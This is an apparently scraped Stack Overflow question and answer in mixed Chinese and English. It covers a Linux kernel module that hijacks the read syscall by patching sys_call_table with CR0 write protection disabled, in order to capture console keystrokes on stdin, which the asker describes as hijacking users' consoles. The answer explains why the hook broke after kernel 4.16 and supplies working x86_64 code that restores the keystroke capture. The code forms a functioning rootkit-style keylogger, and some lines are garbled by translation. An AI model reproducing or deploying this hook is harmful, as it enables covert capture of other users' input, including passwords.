新 Linux 内核中的内存隔离,还是什么? [英] Memory Isolation in new Linux Kernels, or what?

查看:24
本文介绍了新 Linux 内核中的内存隔离,还是什么?的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

这个我的模块完美地劫持了用户的控制台:https://pastebin.com/99YJFnaq

This my module perfectly hijacks user's console: https://pastebin.com/99YJFnaq

它是 Linux 内核 4.12,Kali 2018.1.

And it was Linux kernel 4.12, Kali 2018.1.

现在,我已经安装了最新版本的 Kali - 2019.1.它使用内核 4.19:

Now, I've installed the latest version of Kali - 2019.1. It uses kernel 4.19:

Linux kali 4.19.0-kali1-amd64 #1 SMP Debian 4.19.13-1kali1(2019-01-03) x86_64 GNU/Linux

Linux kali 4.19.0-kali1-amd64 #1 SMP Debian 4.19.13-1kali1 (2019-01-03) x86_64 GNU/Linux

我试图捕捉任何东西,但流中不存在 fd == 0 的任何东西.

I'm trying to catch anything, but nothing with fd == 0 exists in flow.

<小时>我用谷歌搜索了很长时间,试图阅读不同资源上的 changelogs...

我找到了这样的模块 kpti,它可能会做类似的事情,但是这个模块没有安装在 Kali 2019.1 中.

I've found such module kpti, which probably would do something like that, but this module is not installed in Kali 2019.1.

请帮我找出这段代码中hacked_read停止听到sys_read()的确切原因:

Please, help me find the exact reason why hacked_read in this piece of code stopped hearing sys_read():

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/syscalls.h>
#include <linux/version.h>
#include <linux/unistd.h>

#include <linux/time.h>
#include <linux/preempt.h>

#include <asm/uaccess.h>
#include <asm/paravirt.h>
#include <asm-generic/bug.h>
#include <asm/segment.h>

#define BUFFER_SIZE 512

#define MODULE_NAME "hacked_read"

#define dbg( format, arg... )  do { if ( debug ) pr_info( MODULE_NAME ": %s: " format , __FUNCTION__ , ## arg ); } while ( 0 )
#define err( format, arg... )  pr_err(  MODULE_NAME ": " format, ## arg )
#define info( format, arg... ) pr_info( MODULE_NAME ": " format, ## arg )
#define warn( format, arg... ) pr_warn( MODULE_NAME ": " format, ## arg )

MODULE_DESCRIPTION( MODULE_NAME );
MODULE_VERSION( "0.1" );
MODULE_LICENSE( "GPL" );
MODULE_AUTHOR( "module author <mail@domain.com>" );

static char debug_buffer[ BUFFER_SIZE ];
unsigned long ( *original_read ) ( unsigned int, char *, size_t );
void **sct;
unsigned long icounter = 0;

static inline void rw_enable( void ) {
    asm volatile ( "cli 
"
        "pushq %rax 
"
        "movq %cr0, %rax 
"
        "andq $0xfffffffffffeffff, %rax 
"
        "movq %rax, %cr0 
"
        "popq %rax " );
}

static inline uint64_t getcr0(void) {
    register uint64_t ret = 0;
    asm volatile (
        "movq %%cr0, %0
"
        :"=r"(ret)
    );
    return ret;
}

static inline void rw_disable( register uint64_t val ) {
    asm volatile(
        "movq %0, %%cr0
"
        "sti "
        :
        :"r"(val)
    );
}

static void* find_sym( const char *sym ) {
    static unsigned long faddr = 0; // static !!!
    // ----------- nested functions are a GCC extension ---------
    int symb_fn( void* data, const char* sym, struct module* mod, unsigned long addr ) {
        if( 0 == strcmp( (char*)data, sym ) ) {
            faddr = addr;
            return 1;
        } else return 0;
    };// --------------------------------------------------------
    kallsyms_on_each_symbol( symb_fn, (void*)sym );
    return (void*)faddr;
}

unsigned long hacked_read_test( unsigned int fd, char *buf, size_t count ) {
    unsigned long r = 1;
    if ( fd != 0 ) { // fd == 0 --> stdin (sh, sshd)
        return original_read( fd, buf, count );
    } else {
        icounter++;
        if ( icounter % 1000 == 0 ) {
            info( "test2 icounter = %ld
", icounter );
            info( "strlen( debug_buffer ) = %ld
", strlen( debug_buffer ) );
        }
        r = original_read( fd, buf, count );
        strncat( debug_buffer, buf, 1 );
        if ( strlen( debug_buffer ) > BUFFER_SIZE - 100 )
            debug_buffer[0] = '';
        return r;
    }
}

int hacked_read_init( void ) {
    register uint64_t cr0;
    info( "Module was loaded
" );
    sct = find_sym( "sys_call_table" );
    original_read = (void *)sct[ __NR_read ];
    cr0 = getcr0();
    rw_enable();
    sct[ __NR_read ] = hacked_read_test;
    rw_disable( cr0 );
    return 0;
}

void hacked_read_exit( void ) {
    register uint64_t cr0;
    info( "Module was unloaded
" );
    cr0 = getcr0();
    rw_enable();
    sct[ __NR_read ] = original_read;
    rw_disable( cr0 );
}

module_init( hacked_read_init );
module_exit( hacked_read_exit );

生成文件:

CURRENT = $(shell uname -r)
KDIR = /lib/modules/$(CURRENT)/build
PWD = $(shell pwd)

TARGET = hacked_read
obj-m := $(TARGET).o

default:
        $(MAKE) -C $(KDIR) M=$(PWD) modules

clean:
        @rm -f *.o .*.cmd .*.flags *.mod.c *.order
        @rm -f .*.*.cmd *.symvers *~ *.*~ TODO.*
        @rm -fR .tmp*
        @rm -rf .tmp_versions

我确信一切都像以前一样不断调用 sys_read().tee, bash, vi - 所有这些东西都不能在这么短的时间内改变,但是 linux-kernel.

I'm sure that everything like before keeps calling sys_read(). tee, bash, vi - all this stuff could not be changed in such short period, but linux-kernel.

我会欣赏绕过代码.

推荐答案

一些故障排除显示如下:

A bit of troubleshooting shows the following:

  • 当然,没有一个用户空间程序停止使用 read().他们仍然不停地打电话.
  • 没有内存隔离".在模块初始化期间成功修改了系统调用表,并且指向 sys_read() 的指针被成功替换为指向 hacked_read_test() 的指针.
  • 加载模块时,read() 系统调用就像原始系统调用一样工作.
  • 行为的变化发生在内核 4.164.16.2 之间(即 2018 年 4 月 1 日4 月 12 日之间),2018 年).
  • Of course, none of userspace programs stopped using read(). They still keep calling it.
  • There is no "memory isolation". The syscalls table is succesfully modified during the module initialization and the pointer to sys_read() is successfully replaced with pointer to hacked_read_test().
  • When the module is loaded, the read() syscall works as if it was the original one.
  • The change in the behavior happened between kernels 4.16 and 4.16.2 (i.e. between April 1, 2018 and April 12, 2018).

考虑到这一点,我们要检查的提交列表非常狭窄,并且更改很可能在系统调用机制中.好吧,看起来像这个提交是我们正在寻找的(还有更多).

Considering this, we have pretty narrow list of commits to check, and the changes are likely to be in the syscalls mechanism. Well, looks like this commit is what we are looking for (and few more around).

此提交的关键部分是它更改了由 SYSCALL_DEFINEx 定义的函数的签名,以便它们接受 一个指向struct pt_regs的指针,而不是 syscode> 无符号> __uft_regs 参数的指针,b syscode> 无符号sys_read(const struct pt_regs *regs).这意味着,hacked_read_test(unsigned int fd, char *buf, size_t count) 不再是 sys_read() 的有效替代品!

The crucial part of this commit is that it changes signatures of the functions defined by SYSCALL_DEFINEx so that they accept a pointer to struct pt_regs instead of syscall arguments, i.e. sys_read(unsigned int fd, char __user * buf, size_t count) becomes sys_read(const struct pt_regs *regs). This means, that hacked_read_test(unsigned int fd, char *buf, size_t count) is no longer a valid replacement for sys_read()!

因此,对于新内核,您将 sys_read(const struct pt_regs *regs) 替换为 hacked_read_test(unsigned int fd, char *buf, size_t count).为什么这不会崩溃,而是像原始 sys_read() 一样工作?再次考虑 hacked_read_test() 的简化版本:

So, with new kernels you replace sys_read(const struct pt_regs *regs) with hacked_read_test(unsigned int fd, char *buf, size_t count). Why this does not crash and instead works as if it was the original sys_read()? Consider the simplified version of hacked_read_test() again:

unsigned long hacked_read_test( unsigned int fd, char *buf, size_t count ) {
    if ( fd != 0 ) {
        return original_read( fd, buf, count );
    } else {
        // ...
    }
}

嗯.第一个函数参数通过 %rdi 寄存器传递.sys_read() 的调用者将指向 struct pt_regs 的指针放入 %rdi 并执行调用.执行流程进入hacked_read_test(),并且检查第一个参数fd 是否为零.考虑到这个参数包含一个有效的指针而不是文件描述符,这个条件成功并且控制流直接进入original_read(),它接收fd值(即实际上, 指向 struct pt_regs) 的指针作为第一个参数,反过来,它被成功地用作它最初的意图.因此,由于内核 4.16.2 您的 hacked_read_test() 有效 如下工作:

Well. The first function argument is passed via %rdi register. The caller of sys_read() places a pointer to struct pt_regs into %rdi and performs a call. The execution flow goes inside hacked_read_test(), and the first argument, fd, is checked for not being zero. Considering that this argument contains a valid pointer instead of file descriptor, this condition succeeds and the control flow goes directly to original_read(), which receives the fd value (i.e., actually, the pointer to struct pt_regs) as a first argument, which, in turn, then gets successfully used as it was originally meant to be. So, since kernel 4.16.2 your hacked_read_test() effectively works as follows:

unsigned long hacked_read_test( const struct pt_regs *regs ) {
    return original_read( regs );
}

为了确定,你可以试试hacked_read_test()的替代版本:

To make sure about it, you can try the alternative version of hacked_read_test():

unsigned long hacked_read_test( void *ptr ) {    
    if ( ptr != 0 ) {
        info( "invocation of hacked_read_test(): 1st arg is %d (%p)", ptr, ptr );
        return original_read( ptr );
    } else {
        return -EINVAL;
    }
}

编译并insmoding这个版本后,你得到以下内容:

After compiling and insmoding this version, you get the following:

invocation of hacked_read_test(): 1st arg is 35569496 (00000000c3a0dc9e)

您可以创建 hacked_read_test() 的工作版本,但似乎实现将依赖于平台,因为您必须从 的适当寄存器字段中提取参数regs(对于 x86_84,这些是 %rdi%rsi%rdx 用于第一、第二和第三个系统调用参数).

You may create a working version of hacked_read_test(), but it seems that the implementation will be platform-dependent, as you will have to extract the arguments from the appropriate register fields of regs (for x86_84 these are %rdi, %rsi and %rdx for 1st, 2nd and 3rd syscall arguments respectively).

工作的 x86_64 实现如下(在内核 4.19 上测试).

The working x86_64 implementation is below (tested on kernel 4.19).

#include <asm/ptrace.h>

// ...

unsigned long ( *original_read ) ( const struct pt_regs *regs );

// ...

unsigned long hacked_read_test( const struct pt_regs *regs ) {
    unsigned int fd = regs->di;
    char *buf = (char*) regs->si;
    unsigned long r = 1;
    if ( fd != 0 ) { // fd == 0 --> stdin (sh, sshd)
        return original_read( regs );
    } else {
        icounter++;
        if ( icounter % 1000 == 0 ) {
            info( "test2 icounter = %ld
", icounter );
            info( "strlen( debug_buffer ) = %ld
", strlen( debug_buffer ) );
        }
        r = original_read( regs );
        strncat( debug_buffer, buf, 1 );
        if ( strlen( debug_buffer ) > BUFFER_SIZE - 100 )
            debug_buffer[0] = '';
        return r;
    }
}

这篇关于新 Linux 内核中的内存隔离,还是什么?的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆